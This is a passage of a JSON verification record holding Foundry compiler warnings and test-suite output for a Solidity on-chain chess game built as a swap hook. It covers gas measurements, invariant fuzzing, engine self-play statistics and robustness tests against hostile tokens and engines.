440989\n\n[PASS] test_conversionSweep() (gas: 1063666730)\nLogs:\n  converted within 40 half-moves: 320 of 320\n  cases: 320\n  average half-moves to mate: 15\n  converting side: gas avg: 241196\n  converting side: gas max: 440997\n\n[PASS] test_generatedConversionValidation() (gas: 858868961)\nLogs:\n  generated corpus: mates within 40 of 256: 256\n  generated corpus: mates within 60 of 256: 256\n  cases: 256\n  average half-moves to mate: 15\n  converting side: gas avg: 243012\n  converting side: gas max: 487067\n\n[PASS] test_queenDoesNotTrapItsKingOnBackRank() (gas: 4163332)\n[PASS] test_rookKingApproachesDiagonallyInsteadOfRetreating() (gas: 2007593)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 2.80s (5.61s CPU time)\n\nRan 1 test for test/InvariantDuels.t.sol:InvariantDuelsTest\n[PASS]\nInvariantDuelsTest invariants:\n[PASS] invariant_everyBoardIsSound\n[PASS] invariant_everyCurrencyBalances\n[PASS] invariant_rightsMatchTheBoard\n[PASS] invariant_turnsAreWellFormed\n InvariantDuelsTest invariants (runs: 24, calls: 2880, reverts: 0)\n\n╭--------------+----------------+-------+---------+----------╮\n| Contract     | Selector       | Calls | Reverts | Discards |\n+============================================================+\n| DuelsHandler | convert        | 330   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | fund           | 303   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | longPause      | 325   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | nextBlock      | 342   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | roundTrip      | 312   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | trade          | 344   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | tradeAgain     | 284   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | tradeNextBlock | 331   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | withdrawReward | 309   | 0       | 0        |\n╰--------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 2900000000000000000\n  Bound result 19999999999000002956\n  Bound result 4999999999000000007\n  Bound result 12\n  Bound result 19999999999000230001\n  Bound result 2900000000000000000\n  Bound result 12587\n  Bound result 386549022720\n  Bound result 96\n  Bound result 2\n  Bound result 4157101172203397067\n  Bound result 12\n  Bound result 207211691213799537\n  Bound result 19999999999000000036\n  Bound result 19999999999000100000\n  Bound result 19999999999000000225\n  Bound result 19999999999000009001\n  Bound result 12\n  Bound result 19999999999573165750\n  Bound result 42948536629611462656\n  Bound result 19999999999000000531\n  Bound result 17342\n  Bound result 19999999999000000081\n  Bound result 4999999999004000001\n  Bound result 19999999999000012501\n  Bound result 19999999999000010062\n  Bound result 104\n  Bound result 12\n  Bound result 226027435835281\n  Bound result 12\n  Bound result 19999999999000004097\n  Bound result 12\n  Bound result 19999999999000015032\n  Bound result 1\n  Bound result 12\n  Bound result 11503557250457312291\n  Bound result 4963\n  Bound result 59\n  Bound result 3478373929188073588\n  Bound result 16629059086435291183\n  Bound result 12557139216400049707\n  Bound result 19999999999000008501\n  Bound result 12\n  Bound result 19987180433721259180\n  Bound result 1164049102366249397\n  Bound result 12\n  Bound result 4855553097678664388\n  Bound result 9000000000000000000\n  Bound result 19999999999000003267\n  Bound result 12\n  Bound result 14565774915584188795\n  Bound result 4999999999000000344\n  Bound result 12\n  Bound result 1000000003\n  Bound result 15\n  Bound result 12\n  Bound result 6023607821685288689\n  Bound result 19999999999000002178\n  Bound result 79\n  Bound result 79\n  Bound result 4999999999000006586\n  Bound result 10000000000000000\n  Bound result 4999999999000007109\n  Bound result 30385201705939754285\n  Bound result 9909566179315531431\n  Bound result 12\n  Bound result 12356040457658074589\n  Bound result 59\n  Bound result 51\n  Bound result 19999999999000015672\n  Bound result 110\n  Bound result 19999999999000003144\n  Bound result 12\n  Bound result 4632179493572466719\n  Bound result 3573918928\n  Bound result 4999999999000000015\n  Bound result 12\n  Bound result 19999999999000005719\n  Bound result 40\n  Bound result 9834159396096915377\n  Bound result 19999999999000003404\n  Bound result 256\n  Bound result 4999999999000016607\n  Bound result 19999999999000005001\n  Bound result 100\n  Bound result 19999999999000004940\n  swaps: 40\n  moves: 22\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.81s (3.80s CPU time)\n\nRan 1 test for test/EngineV5.t.sol:EngineV5Test\n[PASS] test_legalChoicesMatesAndGas() (gas: 5591477734)\nLogs:\n  positions: 3968\n  mates in one taken at full accuracy: 8\n  average gas per choice: 226429\n  max gas per choice: 594976\n  runtime bytes: 22111\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.22s (6.22s CPU time)\n\nRan 1 test for test/Endings.t.sol:EndingsTest\n[PASS] test_statusAgainstChessJs() (gas: 3827346985)\nLogs:\n  games: 200\n  positions: 29637\n  checkmates: 158\n  stalemates: 17\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.81s (7.81s CPU time)\n\nRan 1 test for test/EngineV5Games.t.sol:EngineV5GamesTest\n[PASS] test_selfPlay() (gas: 6570261344)\nLogs:\n  game 0 result 2: \n  game 1 result 2: \n  game 2 result 1: \n  gave rook/queen: 86870238674660599699401622711778689468087322501069979287361930582906697548292 460031 943668479 w 861 net -600 best 0\n  gave rook/queen: 5427754183058795682802489067878151629405184157693509641043824116254826824704 2156336383 3099538431 w 1307 net -500 best -100\n  gave rook/queen: 5427754183058794778899839172196121686052169999515999157796218921811330519040 2156338175 3099538431 w 779 net -500 best 0\n  gave rook/queen: 5880067409023361893519492475378704098026425233886153209393628296587572674560 2156332799 3099539711 w 3376 net -500 best 0\n  gave rook/queen: 6332454073938958339691435558333129996404503485053911374062329293274290847744 2156335103 3099541247 w 2933 net -500 best 0\n  gave rook/queen: 395847936290169010519308284464677771096028646544612309052648037262299234304 2156335103 3099540991 w 1758 net -500 best 0\n  gave rook/queen: 8903592951012892839869185679495287067114716255949491190660030546078336320 2156332799 3099539199 w 166 net -900 best 500\n  gave rook/queen: 5735268393226817914588476328015805100616831101603081661062223767787525898816 2156332799 3099540735 b 3956 net -500 best 0\n  gave rook/queen: 397098877808941878081562480997554670823473734272162587586440933204236959744 2156332799 3099540991 b 3966 net -500 best 0\n  gave rook/queen: 1406291468295779791110155289058693249606348797223262438293504 2156336127 3099537919 b 2268 net -500 best 0\n  gave rook/queen: 1615332164509958130566762150542858943568099321520896366659842039781277696 2156332799 3099540479 b 1814 net -500 best 0\n  gave rook/queen: 6673050404315007858229191350730340348849575803261007268550295068225560379392 2156332543 3099541247 b 3779 net -900 best 0\n  gave rook/queen: 86844066927987146573170702799187181486217849679123279484413781297339253653600 2156331519 3099537407 b 1096 net -500 best 0\n  games: 40\n  White mates: 15\n  Black mates: 24\n  stalemate: 0\n  too little material: 0\n  repetition: 0\n  quiet half-move limit: 0\n  half-move cap: 1\n  average half-moves per game: 95\n  checks per game (x10): 120\n  captures per game (x10): 181\n  undo moves per game (x10): 28\n  longest quiet stretch, average per game: 9\n  games with a quiet stretch of 30+: 1\n  games fingerprint: 0xd8cf2f8bfa2b6511983866ec5be1fddbed4111048ce36347cb13af8a5de4b14a\n  comebacks (behind 3+ pawns at half-move 40, then won): 3 of 15\n  effort < 40%: 683 moves, gas avg 191290 max 394759; mates in one taken 6/7; walked into an avoidable mate 5; gave a piece 9, a rook or queen 2\n  effort 40-70%: 1964 moves, gas avg 207539 max 483412; mates in one taken 21/23; walked into an avoidable mate 12; gave a piece 24, a rook or queen 7\n  effort 70%+: 1184 moves, gas avg 225871 max 555780; mates in one taken 12/15; walked into an avoidable mate 6; gave a piece 8, a rook or queen 6\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.51s (17.50s CPU time)\n\nRan 2 tests for test/Bitboard.t.sol:BitboardTest\n[PASS] test_againstChessJs() (gas: 92724440148)\nLogs:\n  positions: 2689\n  moves applied and compared: 72742\n  positions with a mate in one: 38\n\n[PASS] test_lsb() (gas: 414889)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 37.32s (37.27s CPU time)\n\nRan 1 test for test/RulesRandom.t.sol:RulesRandomTest\n[PASS] test_randomGamesAgainstChessJs() (gas: 47928398193)\nLogs:\n  positions compared: 29828\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 105.75s (105.31s CPU time)\n\nRan 31 test suites in 105.77s (197.03s CPU time): 149 tests passed, 0 failed, 0 skipped (149 total tests)\n","passed":true},{"durationMs":226,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDuelHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMDuelHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMDuelHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMDuelHook.convert(address)\",\"IMDuelHook.convertBatch(address)\",\"IMDuelHook.fundChest((address,address,uint24,int24,address),bool,uint256)\",\"IMDuelHook.payOut(address,address,uint256)\",\"IMDuelHook.unlockCallback(bytes)\",\"IMDuelHook.withdraw(address,address)\"],\"files\":{\".gitignore\":3,\"ADAPTATION.md\":83,\"LICENSE\":16,\"foundry.toml\":31,\"launch.json\":10,\"launch/engine.json\":10,\"launch/hook.json\":37,\"launch/hook.sepolia.json\":37,\"script/LaunchPolicy.sol\":44,\"src/Bitboard.sol\":719,\"src/Chess.sol\":34,\"src/ChessEngineV5.sol\":762,\"src/IChessEngine.sol\":29,\"src/IMDuelHook.sol\":871,\"src/Rules.sol\":45,\"src/Strength.sol\":39,\"test/Adaptation.t.sol\":176,\"test/Base.sol\":177,\"test/Bidding.t.sol\":197,\"test/Bitboard.t.sol\":158,\"test/BitboardGas.t.sol\":73,\"test/Chessboard.sol\":73,\"test/Draws.t.sol\":90,\"test/Endings.t.sol\":68,\"test/EngineV5.t.sol\":62,\"test/EngineV5Conversion.t.sol\":172,\"test/EngineV5Games.t.sol\":242,\"test/EngineV5Launch.t.sol\":480,\"test/Game.t.sol\":343,\"test/GasEstimate.t.sol\":115,\"test/Harness.sol\":101,\"test/HookGas.t.sol\":150,\"test/Hostile.t.sol\":255,\"test/Invariant.t.sol\":145,\"test/InvariantDuels.t.sol\":414,\"test/Launch.t.sol\":141,\"test/LaunchFiles.t.sol\":67,\"test/Money.t.sol\":337,\"test/Predict.t.sol\":102,\"test/RulesRandom.t.sol\":88,\"test/Size.t.sol\":28,\"test/Slice.t.sol\":345,\"test/Strength.t.sol\":41,\"test/Teams.t.sol\":87,\"test/Tokens.sol\":58,\"test/V5Profile.t.sol\":115,\"test/data/chess.json\":1,\"test/data/conversion-validation.json\":770,\"test/data/conversion.json\":98,\"test/data/endings.json\":1,\"test/data/legal.json\":1,\"test/data/random.json\":1},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"1872b3c68e5d4ac29db3c25403a395fb012aadfd575fe55246bffca2a37dcc14","verifiedTreeHash":"0ddfbb225caa5fa9f8ae369e8b642e0af7d39e7f","verifierVersion":"0.1.0+260efc41"},{"checks":[{"durationMs":232967,"exitCode":0,"name":"build","output":"Compiling 35 files with Solc 0.8.26\nCompiling 118 files with Solc 0.8.26\nSolc 0.8.26 finished in 35.05s\nSolc 0.8.26 finished in 232.74s\nCompiler run successful with warnings:\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:108:22:\n    |\n108 |             rook = ((FILE_A << f) | (RANK_1 << (8 * r))) ^ bit;\n    |                      ^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:108:38:\n    |\n108 |             rook = ((FILE_A << f) | (RANK_1 << (8 * r))) ^ bit;\n    |                                      ^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:109:57:\n    |\n109 |             uint64 d = f >= r ? DIAG >> (8 * (f - r)) : DIAG << (8 * (r - f));\n    |                                                         ^^^^^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:110:65:\n    |\n110 |             uint64 a = f + r <= 7 ? ANTI >> (8 * (7 - f - r)) : ANTI << (8 * (f + r - 7));\n    |                                                                 ^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/ChessEngineV5.sol:446:38:\n    |\n446 |             uint64 ahead = c.white ? ~uint64(0) << ((r + 1) * 8) : (uint64(1) << (r * 8)) - 1;\n    |                                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/ChessEngineV5.sol:446:69:\n    |\n446 |             uint64 ahead = c.white ? ~uint64(0) << ((r + 1) * 8) : (uint64(1) << (r * 8)) - 1;\n    |                                                                     ^^^^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:108:22:\n    |\n108 |             rook = ((FILE_A << f) | (RANK_1 << (8 * r))) ^ bit;\n    |                      ^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:108:38:\n    |\n108 |             rook = ((FILE_A << f) | (RANK_1 << (8 * r))) ^ bit;\n    |                                      ^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:109:57:\n    |\n109 |             uint64 d = f >= r ? DIAG >> (8 * (f - r)) : DIAG << (8 * (r - f));\n    |                                                         ^^^^^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:110:65:\n    |\n110 |             uint64 a = f + r <= 7 ? ANTI >> (8 * (7 - f - r)) : ANTI << (8 * (f + r - 7));\n    |                                                                 ^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n  --> test/Hostile.t.sol:59:18:\n   |\n59 |         returns (uint16, Rules.Played memory)\n   |                  ^^^^^^\n\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n  --> test/Hostile.t.sol:59:26:\n   |\n59 |         returns (uint16, Rules.Played memory)\n   |                          ^^^^^^^^^^^^^^^^^^^\n\nWarning (2072): Unused local variable.\n  --> test/Game.t.sol:86:9:\n   |\n86 |         IMDuelHook.Game memory g = st();\n   |         ^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2018): Function state mutability can be restricted to view\n   --> test/Bitboard.t.sol:141:5:\n    |\n141 |     function castles(uint16[17] memory line, uint256 plies, uint16 castle) internal returns (bool found) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to view\n  --> test/LaunchFiles.t.sol:62:5:\n   |\n62 |     function test_engineLaunchFileDeploysTheEngineWithoutArguments() public {\n   |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":83617,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/Size.t.sol:SizeTest\n[PASS] test_deployedCodeFitsTheBudgets() (gas: 87466)\nLogs:\n  hook: 20756\n  engine v5: 22102\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.16ms (1.00ms CPU time)\n\nRan 3 tests for test/LaunchFiles.t.sol:LaunchFilesTest\n[PASS] test_engineLaunchFileDeploysTheEngineWithoutArguments() (gas: 7570)\n[PASS] test_ethereumLaunchFile() (gas: 168406)\n[PASS] test_sepoliaLaunchFile() (gas: 164569)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.93ms (1.17ms CPU time)\n\nRan 1 test for test/Bitboard.t.sol:CastlingRightsTest\n[PASS] test_aCapturedRookTakesItsCastlingRight() (gas: 965991)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.53ms (3.83ms CPU time)\n\nRan 7 tests for test/Draws.t.sol:DrawsTest\n[PASS] test_checkmate() (gas: 233498)\n[PASS] test_moveCap() (gas: 233565)\n[PASS] test_ordinaryMoveDoesNotEndTheGame() (gas: 175048)\n[PASS] test_quietMoveLimit() (gas: 239758)\n[PASS] test_stalemate() (gas: 231719)\n[PASS] test_thirdRepetition() (gas: 926612)\n[PASS] test_tooFewPiecesToMate() (gas: 226209)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 6.94ms (3.44ms CPU time)\n\nRan 5 tests for test/Teams.t.sol:TeamsTest\n[PASS] test_aDynamicFeePoolPlaysWithAZeroLpFee() (gas: 1799423)\n[PASS] test_nativeEthIsATeamLikeAnyToken() (gas: 1192945)\n[PASS] test_poolsOnOneHookKeepSeparateGamesAndChests() (gas: 2272625)\n[PASS] test_sliceSide() (gas: 690132)\n[PASS] test_twoPlainTokensCannotDuel() (gas: 2154955)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 11.42ms (9.07ms CPU time)\n\nRan 2 tests for test/EngineV5Stalemate.t.sol:EngineV5StalemateTest\n[PASS] test_blockedPawnsDoNotHideAStalemate() (gas: 2547109)\n[PASS] test_fewPiecesStillAvoidTheStalemate() (gas: 2490004)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 23.27ms (22.45ms CPU time)\n\nRan 13 tests for test/Slice.t.sol:SliceTest\n[PASS] test_aBatchCannotBeSoldAtAPushedPrice() (gas: 25472241)\nLogs:\n  attacker profit (IMD, 1e18): -36380453282245771\n\n[PASS] test_aBatchStopsAtItsPriceLimit() (gas: 23503847)\n[PASS] test_aFailedConversionNeverBreaksATrade() (gas: 23354199)\n[PASS] test_anEthBatchIsCapped() (gas: 23836367)\n[PASS] test_anEthBatchWithAnEmptyRouteWaits() (gas: 23530877)\n[PASS] test_anyoneCanConvert() (gas: 531407)\n[PASS] test_booksBalanceAcrossPools() (gas: 8718562)\n[PASS] test_ethBatchKeepsTheImdTheMainDuelCouldNotTake() (gas: 23543325)\n[PASS] test_ethDuelsGoThroughTheImdEthPool() (gas: 1278443)\n[PASS] test_imduelDuelsNeedNoSwap() (gas: 754969)\n[PASS] test_mainDuelSliceBuysImduelHalfToTheChestHalfBurned() (gas: 492932)\n[PASS] test_noRouteNoDuel() (gas: 1869033)\n[PASS] test_otherDuelsFeedTheMainChest() (gas: 1238102)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 32.24ms (48.08ms CPU time)\n\nRan 11 tests for test/Bidding.t.sol:BiddingTest\n[PASS] test_aBountyIsPaidFromTheMoversChest() (gas: 1338743)\n[PASS] test_aBuyOfTheOtherTeamBidsForItsNextMove() (gas: 1917937)\n[PASS] test_aBuyOfTheOtherTeamTimesTheSilentSideOutAndBids() (gas: 1205307)\n[PASS] test_aClosedWindowTakesNoBidsForItsMove() (gas: 1051478)\n[PASS] test_aMoveIsOpenForTurnBlocksBlocks() (gas: 1028472)\n[PASS] test_aNewTopMustPayMoreThanTenPercentMore() (gas: 960474)\n[PASS] test_aWindowWithoutBidsBecomesTheFirstBidsBlock() (gas: 1269267)\n[PASS] test_bidsCountAcrossTheWholeWindow() (gas: 1494477)\n[PASS] test_theMoveDependsOnlyOnTheWindowsLastBlock() (gas: 1603686)\n[PASS] test_theMoversOwnBuyAfterItsWindowBidsForItsNextMove() (gas: 1064651)\n[PASS] test_thePreviewIsTheMoveThatIsPlayed() (gas: 1210603)\nSuite result: ok. 11 passed; 0 failed; 0 skipped; finished in 32.35ms (23.82ms CPU time)\n\nRan 3 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_launchPairedWithEth() (gas: 39886727)\n[PASS] test_launchTokenAboveImd() (gas: 41199779)\nLogs:\n  first buy (opens game 0, bids for White): 362295\n\n[PASS] test_launchTokenBelowImd() (gas: 42050114)\nLogs:\n  first buy (opens game 0, bids for White): 357410\n\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 72.68ms (128.97ms CPU time)\n\nRan 7 tests for test/Hostile.t.sol:HostileTest\n[PASS] test_aDeadEngineLeavesTheTurnQueuedAndTradingGoesOn() (gas: 4831591)\n[PASS] test_aGasBurningEngineCostsOneExpensiveTradeNotTheGame() (gas: 12346040)\n[PASS] test_blockedRecipientStaysOwedAndTradingContinues() (gas: 4871876)\n[PASS] test_brokenEngineFallsBackToALegalMove() (gas: 7782569)\n[PASS] test_feeOnTransferTokenFundsOnlyWhatArrives() (gas: 3407984)\n[PASS] test_reenteringTokenCannotBreakAPayout() (gas: 5468192)\n[PASS] test_starvingTheEngineNeverPlaysTheFallback() (gas: 44950423)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 80.91ms (87.11ms CPU time)\n\nRan 1 test for test/BitboardGas.t.sol:BitboardGasTest\n[PASS] test_costs() (gas: 51567349)\nLogs:\n  legal moves (bitboards): 42371\n  legal moves + check + mate tests (bitboards): 86426\n  attack count maps, both sides: 61926\n  mate in one search: 37102\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 91.45ms (90.85ms CPU time)\n\nRan 5 tests for test/HookGas.t.sol:HookGasTest\n[PASS] test_conversionGas() (gas: 1743634)\nLogs:\n  plain trade: 206299\n  trade that converts a batch: 282371\n\n[PASS] test_hookShareOfAMovingTrade() (gas: 28994804)\nLogs:\n  hook share of a moving trade: average: 270784\n  hook share of a moving trade: max: 311427\n\n[PASS] test_middlegameGas() (gas: 8228299)\nLogs:\n  first bid in a new pool: 266745\n  bidding trade: 188315\n  outbidding trade: 204172\n  plain trade: 179160\n  next block: play the turn and bid: 535693\n\n[PASS] test_openingGas() (gas: 3341761)\nLogs:\n  first bid in a new pool: 266745\n  bidding trade: 189053\n  outbidding trade: 204172\n  plain trade: 179160\n  next block: play the turn and bid: 432733\n\n[PASS] test_runningGameGas() (gas: 53455903)\nLogs:\n  running game, moving trades measured: 50\n  running game, moving trade average: 449513\n  running game, moving trade max: 600463\n\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 98.23ms (137.13ms CPU time)\n\nRan 3 tests for test/GasEstimate.t.sol:GasEstimateTest\n[PASS] test_atTheEstimateADueBatchConverts() (gas: 24174024)\nLogs:\n  smallest gas limit that converts: 381737\n\n[PASS] test_atTheEstimateTheBountyIsPaidNotOwed() (gas: 25198022)\nLogs:\n  smallest gas limit that plays and pays: 397167\n\n[PASS] test_noGasLimitPlaysTheMoveAndLeavesItsBountyOwed() (gas: 32052997)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 153.80ms (165.69ms CPU time)\n\nRan 1 test for test/Predict.t.sol:PredictTest\n[PASS] test_aBotCannotPickItsOwnCapturingMoves() (gas: 311831941)\nLogs:\n  bot moves: 0\n  other moves: 73\n  captures among other moves: 19\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 593.64ms (592.12ms CPU time)\n\nRan 23 tests for test/Game.t.sol:GameTest\n[PASS] testFuzz_swapsNeverRevert(uint256) (runs: 48, μ: 9367544, ~: 9440567)\n[PASS] test_aGamePlaysOutThroughSwaps() (gas: 30482503)\nLogs:\n  moves played: 44\n  bids (incl. outbid ones): 60\n  most gas for a swap: 581082\n\n[PASS] test_aSmallerTradeInTheBlockDoesNotTakeTheTurn() (gas: 676894)\n[PASS] test_aTimeoutTurnCanBeTakenInItsBlock() (gas: 1287413)\n[PASS] test_aTradeBidsForTheTurn() (gas: 477309)\n[PASS] test_aTurnClosesWithItsBlock() (gas: 942718)\n[PASS] test_anExpiredTurnBecomesATimeoutTurn() (gas: 1407127)\n[PASS] test_anOldTurnIsPlayedWithTheHistoryContractsHash() (gas: 1720001)\n[PASS] test_anyTradeSizeBids() (gas: 444453)\n[PASS] test_lateTradeStillBidsNormally() (gas: 424173)\n[PASS] test_onlyThePoolManagerAndTheHookCanCallIn() (gas: 168273)\n[PASS] test_ownerDefaultsToTxOrigin() (gas: 410603)\n[PASS] test_playedPositionsEnterTheRepetitionMemory() (gas: 893495)\n[PASS] test_rejectsBadConfig() (gas: 9170)\n[PASS] test_silentSidePlaysAtZeroStrength() (gas: 1032192)\n[PASS] test_strengthFollowsTheShareOfThePool() (gas: 6468699)\n[PASS] test_teamsSwapColoursEveryGame() (gas: 912053)\n[PASS] test_theBiggestTradeInTheBlockOwnsTheTurn() (gas: 770906)\n[PASS] test_theFirstPoolOpenedIsTheMainDuel() (gas: 178092)\n[PASS] test_theMainDuelMustPairImd() (gas: 1183375)\n[PASS] test_theNextBlocksTradePlaysTheTurn() (gas: 1014983)\n[PASS] test_theOtherTeamCannotBidOnThisTurn() (gas: 407108)\n[PASS] test_whoPlaysTheTurnAndWhenDoesNotChangeTheMove() (gas: 1494914)\nSuite result: ok. 23 passed; 0 failed; 0 skipped; finished in 736.60ms (836.10ms CPU time)\n\nRan 1 test for test/V5Profile.t.sol:V5ProfileTest\n[PASS] test_stages() (gas: 415498827)\nLogs:\n  positions: 216\n  context: 31797\n  context + legal moves: 72004\n  context + legal + cheap pass: 210244\n  context + legal + one exact re-score: 99616\n  full choice at 50%: 228390\n  per position: loop only: 84806\n  per position: gain: 21278\n  per position: check test: 18802\n  per position: zone pressure: 15007\n  per position: threat: 10339\n  per position: noise: 6841\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 805.57ms (805.07ms CPU time)\n\nRan 21 tests for test/Money.t.sol:MoneyTest\n[PASS] testFuzz_heldEqualsOwed(uint256) (runs: 48, μ: 10547693, ~: 10619275)\n[PASS] test_aFullChestTakesNoMore() (gas: 1044074)\n[PASS] test_aTradeStoppedByItsPriceLimitIsRefused() (gas: 576142)\n[PASS] test_blackCaptureIsPaidInItsTeamToken() (gas: 760005)\n[PASS] test_bountyTable() (gas: 43798)\n[PASS] test_checkmatePaysAQuarterOfTheChest() (gas: 738711)\n[PASS] test_chestShareGoesToTheChestWorthLess() (gas: 629692)\n[PASS] test_chestsStayAboutEqualInValue() (gas: 5404280)\n[PASS] test_exactOutputPaysTheFeeOnTheInput() (gas: 380389)\n[PASS] test_exactOutputWithTheChestShareInTheOutput() (gas: 797135)\n[PASS] test_failedPayoutStaysOwedAndTheTradeGoesThrough() (gas: 1229464)\n[PASS] test_feesCannotBeWithdrawnByAnyone() (gas: 445053)\n[PASS] test_firstTradeFundsChest0AndTheSlice() (gas: 359246)\n[PASS] test_fundChestNeedsTheRightValue() (gas: 48540)\n[PASS] test_fundChestOnlyForHookPools() (gas: 41751)\n[PASS] test_fundChestWithEth() (gas: 251176)\n[PASS] test_fundChestWithTokens() (gas: 191952)\n[PASS] test_openingSurchargeOnlyInTheMainDuel() (gas: 3435863)\n[PASS] test_payoutIsCappedAtTwiceTheTrade() (gas: 806682)\n[PASS] test_quietMovePaysNothing() (gas: 604828)\n[PASS] test_whiteCaptureIsPaidInItsTeamTokenFromItsOwnChest() (gas: 833125)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 864.16ms (886.71ms CPU time)\n\nRan 1 test for test/Invariant.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_boardHasBothKingsAndPlyIsBounded\n[PASS] invariant_heldEqualsOwed\n InvariantTest invariants (runs: 24, calls: 2400, reverts: 0)\n\n╭----------+----------------+-------+---------+----------╮\n| Contract | Selector       | Calls | Reverts | Discards |\n+========================================================+\n| Handler  | convert        | 306   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | fund           | 317   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | longPause      | 287   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | nextBlock      | 303   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | trade          | 280   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | tradeAgain     | 285   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | tradeNextBlock | 312   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | withdrawReward | 310   | 0       | 0        |\n╰----------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 18875291925397289393\n  Bound result 41083361595388734853\n  Bound result 31011067853955137535\n  Bound result 19999999000000010062\n  Bound result 21\n  Bound result 19999999000000000121\n  Bound result 2031179153369238117\n  Bound result 500\n  Bound result 1000000000002\n  Bound result 47\n  Bound result 77\n  Bound result 19999999000000004559\n  Bound result 19999999999999999999\n  Bound result 